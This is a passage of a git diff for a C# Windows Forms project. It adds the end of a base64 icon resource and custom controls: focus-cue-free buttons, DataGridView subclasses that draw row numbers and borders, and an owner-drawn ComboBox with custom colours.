c///q3P//6tz//+rc//8qXH/soBN/6l6Sf+oekj/qHlH/6h5SP+oeUj/p3hH/6h5SP+neEb/p3hG/6Z3 + Rv+md0f/pndH/6V2R/+md0b/pndG/6V2Rv/immX//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz/9mRYP+8fFJ4vHxSN8eEWP//q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc//ypGz/rX5K/6p7 + SP+qe0j/qXtH/6l7SP+pe0j/qXtI/6h6SP+pekn/qXpH/6h5R/+oeUf/qHlI/6h5SP+neEf/05Fc//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P/yIRY/7x8Uje8fFICvHxS4/Oj + bf//q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc//0pW3/toNN/6x+Sv+rfUn/qnxI/6p8SP+qfEj/qntI/6p8 + Sf+qfEn/qntI/6p7SP+pe0f/qntI/9iVX///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//Sjbf+8fFLjvHxSAgAAAAC8fFKH2ZFg//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c//+qnP/0pNd/66AS/+tf0r/rX9K/6x/Sv+sfkr/rH5J/6x+Sf+sfkn/q31J/7qGUP/toWr//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P/2pFh/7x8UocAAAAAAAAAALx8 + Uh6/flT6+qdw//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P/+qlx/9yZYv/FjVb/uIZQ/7KD + TP+0hE3/vIhR/8yQWv/roWn//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//qncP+/flT6vHxSHgAAAAAAAAAAAAAAALx8UpfYkGD//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P/2ZBg/7x8UpgAAAAAAAAAAAAA + AAAAAAAAvHxSE719Uuvyomz//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//KibP+9fVLtvHxSFQAAAAAAAAAAAAAAAAAAAAAAAAAAvHxSV8WDV//7qHH//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc//7qHH/xYNX/7x8UlkAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAvHxSmNCKXP/9qnL//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//apy/9CKXP+8fFKYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC8fFIEvHxSsdOM + Xf/+qnL//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//6qcv/TjF3/vHxSsbx8UgQAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC8fFIKvHxSs8+JW//7qHH//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c//7qHH/z4lb/7x8UrO8fFIKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAC8fFIEvHxSl8aDV//xoWz//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P/8aFs/8aDV/+8fFKXvHxSBAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvHxSVr19UuvZkGD/+qdw//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P/+qdx/9mQ + YP+9fVLrvHxSVwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAvHxSE7x8UpW/flP52pFh//Ojbf//q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P/86Nt/9qRYf+/flP5vHxSlbx8UhMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALx8 + Uhy8fFKHvHxS4siEWP/ZkGD/6Jto//Oibf/6qHH//apy//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc//9qnL/+qhx//Oibf/om2j/2ZBg/8iEWP+8fFLivHxSh7x8 + UhwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC8fFICvHxSN7x8Uni8fFKsvHxS0rx8 + Uu28fFL4vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8 + Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8 + Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8 + Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8 + Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8 + Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8 + Uvi8fFLtvHxS0rx8Uqy8fFJ4vHxSN7x8UgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA//gAAAAAAAAAAAAAAAAf///gAAAAAAAAAAAAAAAAB///gAAAAAAAAAAA + AAAAAAH//wAAAAAAAAAAAAAAAAAA//wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf8AAAAAAA + AAAAAAAAAAAAD/AAAAAAAAAAAAAAAAAAAA/gAAAAAAAAAAAAAAAAAAAHwAAAAAAAAAAAAAAAAAAAA8AA + AAAAAAAAAAAAAAAAAAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAA + AAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAPgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AAAAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAA + AAAAAAAf/AAAAAAAAAAAAAAAAAAAP/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAAAAAAAAH//+AAAAAA + AAAAAAAAAAAH///4AAAAAAAAAAAAAAAAH/8= + + + \ No newline at end of file diff --git a/TEMUKJD/UserComponent/ButtonLc.cs b/TEMUKJD/UserComponent/ButtonLc.cs new file mode 100644 index 0000000..b29285c --- /dev/null +++ b/TEMUKJD/UserComponent/ButtonLc.cs @@ -0,0 +1,27 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.UserComponent +{ + class ButtonLc:Button + { + ///不显示控件获焦提示 + protected override bool ShowFocusCues + { + get { return false; } + } + } + + class LinkLabelLc : LinkLabel + { + ///不显示控件获焦提示 + protected override bool ShowFocusCues + { + get { return false; } + } + } +} diff --git a/TEMUKJD/UserComponent/DataGridViewEx.cs b/TEMUKJD/UserComponent/DataGridViewEx.cs new file mode 100644 index 0000000..54a57f5 --- /dev/null +++ b/TEMUKJD/UserComponent/DataGridViewEx.cs @@ -0,0 +1,73 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using DevComponents.DotNetBar.Controls; + +namespace LittleRabbit.UserComponent +{ + public class DataGridViewEx : DataGridView + { + public DataGridViewEx() + { + BackgroundColor = Color.White; + AlternatingRowsDefaultCellStyle.BackColor = Color.FromArgb(249, 249, 249); + RowPostPaint += DataGridViewEx_RowPostPaint; + + this.SetStyle( + ControlStyles.OptimizedDoubleBuffer | + ControlStyles.EnableNotifyMessage | + ControlStyles.ResizeRedraw | + ControlStyles.AllPaintingInWmPaint, + true); + } + + private Color _BorderColor = Color.FromArgb(63, 126, 255); + /// + /// 边框颜色 + /// + [Description("边框颜色"), Category("UserProperty")] + public Color BorderColor + { + get + { + return _BorderColor; + } + set + { + if (_BorderColor != value) + { + _BorderColor = value; + this.Invalidate(); + } + } + } + + /// + /// 自动生成行号 + /// + /// + /// + private void DataGridViewEx_RowPostPaint(object sender, DataGridViewRowPostPaintEventArgs e) + { + Rectangle rectangle = new Rectangle(e.RowBounds.Location.X, e.RowBounds.Location.Y, RowHeadersWidth - 4, e.RowBounds.Height); + TextRenderer.DrawText(e.Graphics, (e.RowIndex + 1).ToString(), RowHeadersDefaultCellStyle.Font, rectangle, Color.DarkGray, TextFormatFlags.VerticalCenter | TextFormatFlags.Right); + } + + /// + /// 绘制边框颜色 + /// + /// + protected override void OnPaint(PaintEventArgs e) + { + base.OnPaint(e); + + e.Graphics.DrawRectangle(new Pen(this.BackgroundColor), new Rectangle(1, 1, this.Width - 2, this.Height - 2)); + e.Graphics.DrawRectangle(new Pen(this.BorderColor), new Rectangle(0, 0, this.Width - 1, this.Height - 1)); + } + } +} diff --git a/TEMUKJD/UserComponent/DataGridViewXEx.cs b/TEMUKJD/UserComponent/DataGridViewXEx.cs new file mode 100644 index 0000000..d796732 --- /dev/null +++ b/TEMUKJD/UserComponent/DataGridViewXEx.cs @@ -0,0 +1,27 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using DevComponents.DotNetBar.Controls; + +namespace LittleRabbit.UserComponent +{ + public class DataGridViewXEx : DataGridViewX + { + public DataGridViewXEx() + { + BackgroundColor = Color.White; + AlternatingRowsDefaultCellStyle.BackColor = Color.FromArgb(249, 249, 249); + RowPostPaint += DataGridViewXEx_RowPostPaint; + } + + private void DataGridViewXEx_RowPostPaint(object sender, DataGridViewRowPostPaintEventArgs e) + { + Rectangle rectangle = new Rectangle(e.RowBounds.Location.X, e.RowBounds.Location.Y, RowHeadersWidth - 4, e.RowBounds.Height); + TextRenderer.DrawText(e.Graphics, (e.RowIndex + 1).ToString(), RowHeadersDefaultCellStyle.Font, rectangle, Color.DarkGray, TextFormatFlags.VerticalCenter | TextFormatFlags.Right); + } + } +} diff --git a/TEMUKJD/UserComponent/UcComboBoxBase.cs b/TEMUKJD/UserComponent/UcComboBoxBase.cs new file mode 100644 index 0000000..5a3fba7 --- /dev/null +++ b/TEMUKJD/UserComponent/UcComboBoxBase.cs @@ -0,0 +1,231 @@ +using DevComponents.DotNetBar.Controls; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.UserComponent +{ + /// + /// 自定义combobox控件 + /// 增加边框, + /// + #region 需要注意的地方 + //DrawMode=OwnerDrawVariale + //DropDownStyle=DropDownList + #endregion + class UcComboBoxBase : ComboBoxEx + { + #region 自定义属性 + private Color _BorderColor = Color.FromArgb(87, 100, 108); + private Color _BoxCenterColor = Color.FromArgb(232, 233, 237); + private Color _BoxBackColor = Color.FromArgb(212, 213, 217); + private ButtonBorderStyle _BorderStyle = ButtonBorderStyle.Solid; + private int _ArrowWidth = 2; + private Color _ArrowColor = Color.FromArgb(87, 100, 108); + private bool _ArrowFlag = true; + private Color _FontColor = Color.FromArgb(0, 0, 0); + [Description("边框颜色"), Category("Set")] + public Color BorderColor + { + set { this._BorderColor = value; } + get { return _BorderColor; } + } + [Description("框外颜色"), Category("Set")] + public Color BoxBackColor + { + set { this._BoxBackColor = value; } + get { return this._BoxBackColor; } + } + [Description("框内颜色"), Category("Set")] + public Color BoxCenterColor + { + set { this._BoxCenterColor = value; this.BackColor = value; } + get { return this._BoxCenterColor; } + } + [Description("边框样式"), Category("Set")] + public ButtonBorderStyle BoxBorderStyle + { + set { this._BorderStyle = value; } + get { return this._BorderStyle; } + } + [Description("下拉箭头宽度"), Category("Set")] + public int ArrowWidth + { + set { this._ArrowWidth = value; } + get { return this._ArrowWidth; } + } + [Description("下拉箭头颜色"), Category("Set")] + public Color ArrowColor + { + set { this._ArrowColor = value; } + get { return this._ArrowColor; } + } + [Description("是否绘制下拉箭头"), Category("Set")] + public bool ArrowEnabled + { + set { this._ArrowFlag = value; } + get { return this._ArrowFlag; } + } + [Description("字体颜色"), Category("UserSet")] + public Color FontColor + { + set { this._FontColor = value; } + get { return this._FontColor; } + } + #endregion + public UcComboBoxBase() + { + this.UseCustomBackColor = true; + + // 开启双缓冲等 + this.SetStyle(ControlStyles.OptimizedDoubleBuffer | ControlStyles.EnableNotifyMessage | ControlStyles.ResizeRedraw | ControlStyles.AllPaintingInWmPaint, true); + this.DrawMode = DrawMode.OwnerDrawFixed; + this.UpdateStyles(); + } + + //导入API函数 + [System.Runtime.InteropServices.DllImport("user32.dll ")] + static extern IntPtr GetWindowDC(IntPtr hWnd); // 返回hWnd参数所指定的窗口的设备环境。 + + [System.Runtime.InteropServices.DllImport("user32.dll ")] + static extern int ReleaseDC(IntPtr hWnd, IntPtr hDC); // 函数释放设备上下文环境(DC) + + protected override void OnDrawItem(DrawItemEventArgs e) + { + //int ItemsCount = Items.Count; + //Rectangle rect = new Rectangle(0, 0, e.Bounds.Width, e.Bounds.Height * ItemsCount); + e.Graphics.TextRenderingHint = System.Drawing.Text.TextRenderingHint.ClearTypeGridFit; + + //// 绘制下拉框背景 + //e.Graphics.FillRectangle(new SolidBrush(_BoxCenterColor), rect); + //// 绘制下拉框边框 + //e.Graphics.DrawRectangle(new Pen(new 